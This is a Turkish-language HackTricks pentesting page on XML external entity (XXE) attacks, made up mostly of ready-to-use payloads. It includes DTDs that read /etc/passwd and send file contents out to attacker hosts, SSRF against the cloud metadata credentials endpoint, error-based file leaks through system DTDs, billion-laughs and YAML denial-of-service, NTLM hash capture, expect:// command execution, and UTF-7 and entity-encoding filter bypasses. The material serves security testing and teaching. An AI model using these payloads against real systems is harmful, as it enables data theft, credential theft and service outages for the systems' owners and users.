hacktricks/pentesting-web/xxe-xee-xml-external-entity.md

37 KiB
Raw Blame History

XXE - XEE - XML Harici Varlık

AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

XML Temelleri

XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıkça adlandırılmış etiketlerin kullanımına izin veren esnek bir yapıya sahiptir. HTML'den farklı olarak, belirli bir dizi önceden tanımlanmış etiketle sınırlı olmamasıyla dikkat çeker. XML'in önemi, AJAX teknolojisindeki ilk rolüne rağmen JSON'un yükselişiyle azalmıştır.

  • Varlıklar Aracılığıyla Veri Temsili: XML'deki varlıklar, &lt; ve &gt; gibi özel karakterler de dahil olmak üzere verilerin temsil edilmesini sağlar; bu karakterler, XML'in etiket sistemine çakışmayı önlemek için < ve > ile eşleşir.
  • XML Öğelerinin Tanımlanması: XML, öğe türlerinin tanımlanmasına izin verir, öğelerin nasıl yapılandırılması gerektiğini ve hangi içeriğe sahip olabileceğini belirler, her türlü içerikten belirli alt öğelere kadar uzanabilir.
  • Belge Türü Tanımı (DTD): DTD'ler, belgenin yapısını ve içerebileceği veri türlerini tanımlamak için XML'de önemlidir. İç, dış veya bir kombinasyon olabilirler, belgelerin nasıl biçimlendirildiğini ve doğrulandığını yönlendirir.
  • Özel ve Harici Varlıklar: XML, esnek veri temsili için DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan harici varlıklar, özellikle XML Harici Varlık (XXE) saldırıları bağlamında güvenlik endişelerine neden olur; bu saldırılar, XML ayrıştırıcıların harici veri kaynaklarını nasıl işlediğini sömürür: <!DOCTYPE foo [ <!ENTITY myentity "değer" > ]>
  • Parametre Varlıklarıyla XXE Tespiti: Geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, XXE zafiyetlerini tespit etmek için özellikle XML parametre varlıkları kullanılabilir. Bu varlıklar, DNS sorgularını tetikleyerek veya kontrol edilen bir alan adına HTTP istekleri göndererek zafiyeti doğrulamak için dış-bant tespit tekniklerine izin verir.
  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Ana saldırılar

Bu saldırıların çoğu harika Portswiggers XEE lablarında test edildi: https://portswigger.net/web-security/xxe

Yeni Varlık testi

Bu saldırıda basit bir yeni VARLIK bildiriminin çalışıp çalışmadığını test edeceğim

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Dosya okuma

Farklı yollarla /etc/passwd dosyasını okumayı deneyelim. Windows için şunu okumayı deneyebilirsiniz: C:\windows\system32\drivers\etc\hosts

Bu ilk durumda, SYSTEM "**file:///**etc/passwd" de çalışacaktır.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Bu ikinci durum, web sunucusunun PHP kullandığı durumlarda bir dosya çıkarmak için faydalı olmalıdır (Portswiggers lab'ın durumu değil)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

Bu üçüncü durumda, Element stockCheck'i ANY olarak bildirdiğimize dikkat edin.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Dizin listesi

Java tabanlı uygulamalarda, XXE ile şu şekilde bir yük ile (dosya yerine sadece dizini isteyerek) dizinin içeriğini listeleyebilirsiniz:

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

Bir XXE, bir bulutta içeride bir SSRF'yi kötüye kullanmak için kullanılabilir.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Kör SSRF

Önceden yorumlanmış teknik kullanılarak sunucunun, zayıf noktalarını göstermek için kontrol ettiğiniz bir sunucuya erişmesini sağlayabilirsiniz. Ancak, bu çalışmıyorsa, belki de XML varlıklarına izin verilmiyordur, bu durumda XML parametre varlıklarını deneyebilirsiniz:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Kör" SSRF - Verileri dışarıya çıkar

Bu durumda, sunucuya kötü niyetli bir yük taşıyan yeni bir DTD yükleteceğiz ve bir dosyanın içeriğini HTTP isteği aracılığıyla göndereceğiz (çok satırlı dosyalar için bunu ftp:// kullanarak dışarıya çıkarabilirsiniz ftp:// örneğin bu temel sunucuyu kullanarak xxe-ftp-server.rb). Bu açıklama Portswiggers lab burada** temellendirilmiştir.**

Verileri dışarıya çıkarmak için kötü niyetli DTD'de bir dizi adım gerçekleştirilir:

Kötü Niyetli DTD Örneği:

Yapı aşağıdaki gibidir:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
  1. Parametre Entitelerinin Tanımlanması:
    • Bir XML parametre entitesi, %file, /etc/hostname dosyasının içeriğini okuyarak oluşturulur.
    • Başka bir XML parametre entitesi, %eval, tanımlanır. Dinamik olarak yeni bir XML parametre entitesi, %exfiltrate, bildirir. %exfiltrate entitesi, URL'nin sorgu dizgisinde %file entitesinin içeriğini ileterek saldırganın sunucusuna HTTP isteği yapacak şekilde ayarlanır.
  2. Entitelerin Yürütülmesi:
    • %eval entitesi kullanılarak, %exfiltrate entitesinin dinamik bildiriminin yürütülmesi sağlanır.
    • Ardından %exfiltrate entitesi kullanılarak, dosyanın içeriği ile belirtilen URL'ye bir HTTP isteği başlatılır.

Saldırgan, bu kötü amaçlı DTD'yi genellikle http://web-saldirgan.com/kotu.dtd gibi kendi kontrolündeki bir sunucuda barındırır.

XXE Yükü: Zafiyetli bir uygulamayı sömürmek için saldırgan bir XXE yükü gönderir:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Bu yükleme, bir XML ayrıntı varlığı %xxe tanımlar ve bunu DTD içine dahil eder. Bir XML ayrıştırıcı tarafından işlendiğinde, bu yükleme saldırganın sunucusundan harici DTD'yi getirir. DTD daha sonra içeride yorumlanır, kötü amaçlı DTD'de belirtilen adımları yürütür ve /etc/hostname dosyasının saldırganın sunucusuna sızdırılmasına yol açar.

Hata Tabanlı (Harici DTD)

Bu durumda, sunucunun, bir dosyanın içeriğini bir hata mesajı içinde gösterecek kötü amaçlı bir DTD yüklemesini sağlayacağız (bu yalnızca hata mesajlarını görebiliyorsanız geçerlidir). Buradan örnek.

Kötü amaçlı harici Belge Türü Tanımı (DTD) kullanılarak, /etc/passwd dosyasının içeriğini ortaya çıkaran bir XML ayrıştırma hatası mesajı tetiklenebilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir:

  1. /etc/passwd dosyasının içeriğini içeren file adlı bir XML ayrıntı varlığı tanımlanır.
  2. eval adlı bir XML parametre varlığı tanımlanır ve başka bir XML parametre varlığı olan error için dinamik bir bildirim içerir. Bu error varlığı değerlendirildiğinde, file varlığının içeriğini adı olarak içeren bir varlık yüklemeye çalışır.
  3. eval varlığı çağrılır ve error varlığının dinamik olarak bildirilmesine yol açar.
  4. error varlığının çağrılması, mevcut olmayan bir dosyayı yüklemeye çalışarak, /etc/passwd dosyasının içeriğini dosya adının bir parçası olarak içeren bir hata mesajı üretir.

Kötü amaçlı harici DTD, aşağıdaki XML ile çağrılabilir:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Hata Tabanlı (sistem DTD)

Peki, dış bağlantılar engellendiğinde kör XXE zafiyetleri ne olacak?.

XML dilindeki bir açıklık, bir belgenin DTD'sinin iç ve dış deklarasyonları karıştırdığında hassas verilerin hata mesajları aracılığıyla ortaya çıkmasına neden olabilir. Bu sorun, dışarıdan ve içeriden deklare edilen varlıkların içeriğini yeniden tanımlamayı mümkün kılarak hata tabanlı XXE saldırılarının gerçekleştirilmesine olanak tanır. Bu tür saldırılar, dış bir DTD'de orijinal olarak deklare edilen bir XML parametre varlığının, iç bir DTD içinden yeniden tanımlanmasını sömürür. Sunucu tarafından dış bağlantılar engellendiğinde, saldırganların hassas bilgileri ortaya çıkarmak için yerel DTD dosyalarına güvenmesi gerekmektedir.

Sunucunun dosya sisteminde /usr/local/app/schema.dtd konumunda bir DTD dosyası bulunduğunu ve custom_entity adında bir varlık tanımladığını düşünelim. Bir saldırgan, aşağıdaki gibi bir karma DTD göndererek /etc/passwd dosyasının içeriğini ortaya çıkaran bir XML ayrıştırma hatası oluşturabilir:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Aşağıdaki adımlar bu DTD tarafından yürütülür:

  • Sunucunun dosya sisteminde bulunan harici DTD dosyasını içeren local_dtd adında bir XML parametre varlığının tanımı yapılır.
  • Harici DTD'de orijinal olarak tanımlanan custom_entity XML parametre varlığı için bir yeniden tanımlama gerçekleşir ve /etc/passwd dosyasının içeriğini ortaya çıkarmak için bir hata tabanlı XXE saldırısını kapsaması amaçlanır. Bu yeniden tanımlama, bir ayrıştırma hatası ortaya çıkarmak üzere tasarlanmıştır.
  • local_dtd varlığını kullanarak, harici DTD etkinleştirilir ve yeni tanımlanan custom_entity kapsanır. Bu adımlar dizisi, saldırı tarafından hedeflenen hata mesajının yayınlanmasına neden olur.

Gerçek dünya örneği: GNOME masaüstü ortamını kullanan sistemler genellikle /usr/share/yelp/dtd/docbookx.dtd konumunda bir DTD içerir ve bu DTD'de ISOamso adında bir varlık bulunur.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Bu teknik bir iç DTD kullandığından önce geçerli bir tane bulmanız gerekmektedir. Bunun için sunucunun kullandığı işletim sistemi/Yazılımı yükleyerek ve varsayılan DTD'leri arayarak veya sistemler içindeki varsayılan DTD'lerin bir listesini edinebilir ve var olup olmadığını kontrol edebilirsiniz:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Daha fazla bilgi için https://portswigger.net/web-security/xxe/blind

Sistem içindeki DTD'leri Bulma

Aşağıdaki harika github deposunda sistemde bulunabilecek DTD'lerin yollarını bulabilirsiniz:

{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}

Ayrıca, kurban sistemin Docker görüntüsüne sahipseniz, aynı depodaki aracı kullanarak görüntüyü tarama ve sistem içinde bulunan DTD'lerin yolunu bulma imkanınız vardır. Nasıl yapılacağını öğrenmek için githubın Readme dosyasını okuyun.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

Ofis Açık XML Ayrıştırıcıları Aracılığıyla XXE

Bu saldırının daha detaylı bir açıklaması için, bu harika yazının ikinci bölümüne Detectify'dan bakabilirsiniz.

Birçok web uygulaması, Microsoft Office belgelerini yüklemeyi sağlar, ardından bu belgelerden belirli detayları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri aktarmasına izin verebilir. Ayrıştırıcının elektronik tablodan verileri çıkarması için en az bir XML dosyasını ayrıştırması gerekecektir.

Bu zafiyeti test etmek için, XXE yüklemesi içeren bir Microsoft Office dosyası oluşturmak gereklidir. İlk adım, belgenin açılacağı boş bir dizin oluşturmaktır.

Belge açıldıktan sonra, ./unzipped/word/document.xml konumundaki XML dosyası tercih edilen bir metin düzenleyicide (örneğin vim) açılıp düzenlenmelidir. XML, genellikle bir HTTP isteği ile başlayan istenilen XXE yüklemesini içerecek şekilde değiştirilmelidir.

Değiştirilmiş XML satırları iki kök XML nesnesi arasına yerleştirilmelidir. İstekler için izlenebilir bir URL ile URL'nin değiştirilmesi önemlidir.

Son olarak, kötü niyetli poc.docx dosyasını oluşturmak için dosya sıkıştırılabilir. Önceden oluşturulan "unzipped" dizininden, aşağıdaki komut çalıştırılmalıdır:

Şimdi, oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yüklenebilir ve bir isteğin Burp Collaborator günlüklerinde görünmesi umulabilir.

Jar: Protokolü

jar protokolü yalnızca Java uygulamaları içinde erişilebilir hale getirilmiştir. Bu, hem yerel hem de uzak dosyalara erişimi sağlamak üzere tasarlanmıştır ve bir PKZIP arşivinde (örneğin .zip, .jar, vb.) dosya erişimini sağlamayı amaçlar.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

{% hint style="danger" %} PKZIP dosyaları içindeki dosyalara erişebilmek, sistem DTD dosyaları aracılığıyla XXE'yi kötüye kullanmak için son derece faydalıdır. Sistem DTD dosyalarını kötüye nasıl kullanacağınızı öğrenmek için bu bölüme bakın. {% endhint %}

PKZIP arşivi içindeki bir dosyaya jar protokolü aracılığıyla erişme süreci birkaç adım içerir:

  1. Belirtilen konumdan (https://download.website.com/archive.zip gibi) zip arşivini indirmek için bir HTTP isteği yapılır.
  2. Arşivi içeren HTTP yanıtı geçici olarak genellikle /tmp/... gibi bir konumda sistemde saklanır.
  3. Arşivin içeriğine erişmek için arşiv açılır.
  4. Arşiv içindeki belirli dosya, file.zip, okunur.
  5. Bu işlem sonrasında, bu süreçte oluşturulan geçici dosyalar silinir.

Bu süreci ikinci adımda kesintiye uğratmanın ilginç bir tekniği, arşiv dosyasını sunarken sunucu bağlantısını sürekli açık tutmaktır. Bu amaçla bu depoda bulunan araçlar kullanılabilir, bunlar arasında bir Python sunucusu (slow_http_server.py) ve bir Java sunucusu (slowserver.jar) bulunmaktadır.

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

{% hint style="danger" %} Geçici bir dizine dosya yazmak, yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme vb. bir yol geçişi içeren başka bir zafiyeti artırmanıza yardımcı olabilir. {% endhint %}

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Milyar Güldürme Saldırısı

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml Saldırısı

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Kare Kök Saldırısı

NTML Almak

Windows ana bilgisayarlarında, bir yanıtlayıcı.py işleyici ayarlayarak web sunucusu kullanıcısının NTML özetini almak mümkündür:

Responder.py -I eth0 -v

ve aşağıdaki isteği göndererek

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Gizli XXE Yüzeyleri

XInclude

Müşteri verilerini sunucu tarafındaki XML belgelerine entegre ederken, arka uç SOAP isteklerinde olduğu gibi, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır, bu da DOCTYPE öğesini değiştirme konusundaki kısıtlamalar nedeniyle geleneksel XXE saldırılarını engeller. Bununla birlikte, bir XInclude saldırısı, XML belgesinin herhangi bir veri öğesine harici varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, sunucu tarafında oluşturulan XML belgesinin yalnızca bir kısmı kontrol edilebildiğinde bile etkilidir.

Bir XInclude saldırısını gerçekleştirmek için, XInclude ad alanının bildirilmesi ve amaçlanan harici varlığın dosya yolu belirtilmelidir. Aşağıda, böyle bir saldırının nasıl formüle edilebileceğine dair özlü bir örnek bulunmaktadır:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Daha fazla bilgi için https://portswigger.net/web-security/xxe adresini kontrol edin!

SVG - Dosya Yükleme

Kullanıcılar tarafından belirli uygulamalara yüklenen dosyalar, daha sonra sunucuda işlenirken XML veya XML içeren dosya biçimlerinin nasıl işlendiğindeki güvenlik açıklarını sömürebilir. Ofis belgeleri (DOCX) ve resimler (SVG) gibi yaygın dosya biçimleri XML'e dayanmaktadır.

Kullanıcılar resim yüklediğinde, bu resimler sunucu tarafından işlenir veya doğrulanır. PNG veya JPEG gibi biçimler bekleyen uygulamalar için bile, sunucunun resim işleme kütüphanesi SVG resimleri de destekleyebilir. XML tabanlı bir biçim olan SVG, saldırganların kötü niyetli SVG resimleri göndererek sunucuyu XXE (XML Dış Varlık) güvenlik açıklarına maruz bırakmasına neden olabilir.

Bu tür bir saldırının bir örneği aşağıda gösterilmektedir, kötü niyetli bir SVG resminin sistem dosyalarını okumaya çalıştığı:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

Başka bir yöntem, PHP "expect" sarmalayıcısı aracılığıyla komutları yürütmeye çalışmaktır:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

Her iki durumda da SVG formatı, sunucunun yazılımının XML işleme yeteneklerini sömüren saldırıları başlatmak için kullanılır, sağlam giriş doğrulaması ve güvenlik önlemlerinin gerekliliğini vurgular.

Daha fazla bilgi için https://portswigger.net/web-security/xxe'i kontrol edin!

Dosya yükleme - PDF

Bir PDF dosyası yükleyerek bir XXE'yi nasıl sömürüleceğini öğrenmek için aşağıdaki yazıyı okuyun:

{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}

Content-Type: x-www-urlencoded'dan XML'e

Bir POST isteği XML formatında veri kabul ediyorsa, o istekte bir XXE'yi sömürmeyi deneyebilirsiniz. Örneğin, normal bir istek aşağıdakileri içeriyorsa:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Sonra aşağıdaki isteği gönderebilirsiniz, aynı sonuçla:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: JSON'dan XEE'ye

İsteği değiştirmek için "Content Type Converter" adlı bir Burp Eklentisini kullanabilirsiniz. Bu örneği buradan bulabilirsiniz:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Başka bir örnek burada bulunabilir.

WAF & Koruma Atlatmaları

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Bu sadece XML sunucusunun data:// protokolünü kabul ettiği durumlarda çalışır.

UTF-7

UTF-7'yi kullanabilirsiniz. ["Encode Recipe" of cyberchef here ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) UTF-7'ye dönüştürün.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

Dosya:/ Protokolü Atlatma

Eğer web PHP kullanıyorsa, file:/ yerine php sarmalları php://filter/convert.base64-encode/resource= kullanarak dahili dosyalara erişebilirsiniz.

Eğer web Java kullanıyorsa jar: protokolünü kontrol edebilirsiniz.

HTML Varlıkları

https://github.com/Ambrotd/XXE-Notes adresinden bir hile
Html varlıkları ile kodlayarak bir varlık içinde varlık oluşturabilir ve ardından bir dtd yüklemek için onu çağırabilirsiniz.
Kullanılan HTML Varlıklarının sayısal olması gerektiğini unutmayın (örneğin [bu örnekte](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTD örneği:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Sarfırları

Base64

Çıkart index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Harici kaynağı çıkartma

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Uzak kod yürütme

Eğer PHP "expect" modülü yüklenmişse

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Bu örnek https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe adresinden esinlenilmiştir.

XLIFF (XML Localization Interchange File Format), yerelleştirme süreçlerinde veri değişimini standartlaştırmak için kullanılır. Yerelleştirilebilir verilerin yerelleştirme araçları arasında transferi için kullanılan, CAT (Computer-Aided Translation) araçları için ortak bir değişim formatı olarak XML tabanlı bir formattır.

Kör İstek Analizi

Aşağıdaki içerikle sunucuya bir istek yapılır:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Ancak, bu istek iç sunucu hatası tetikler ve özellikle işaretleme beyanları ile ilgili bir sorundan bahseder:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

Hata olmasına rağmen, Burp Collaborator'da bir vuruş kaydedilir ve dış varlıkla bir tür etkileşim olduğunu gösterir.

Veri Dışarı Aktarma Dış Bandından veri dışarı aktarmak için değiştirilmiş bir istek gönderilir:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Bu yaklaşım, Kullanıcı Ajanının Java 1.8'in kullanıldığını gösterdiğini ortaya koyuyor. Bu Java sürümünün bir kısıtlaması, Out of Band tekniği kullanılarak /etc/passwd gibi bir satır sonu karakteri içeren dosyaların alınamamasıdır.

Hata Tabanlı Veri Sızdırma Bu kısıtlamayı aşmak için Hata Tabanlı bir yaklaşım kullanılır. Hedef dosyadan veri içeren bir hatayı tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Sunucu bir hata ile yanıt verir, önemli olan olmayan bir dosyayı yansıtarak, sunucunun belirtilen dosyaya erişmeye çalıştığını gösterir:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Hata mesajında dosyanın içeriğini dahil etmek için DTD dosyası ayarlanır:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

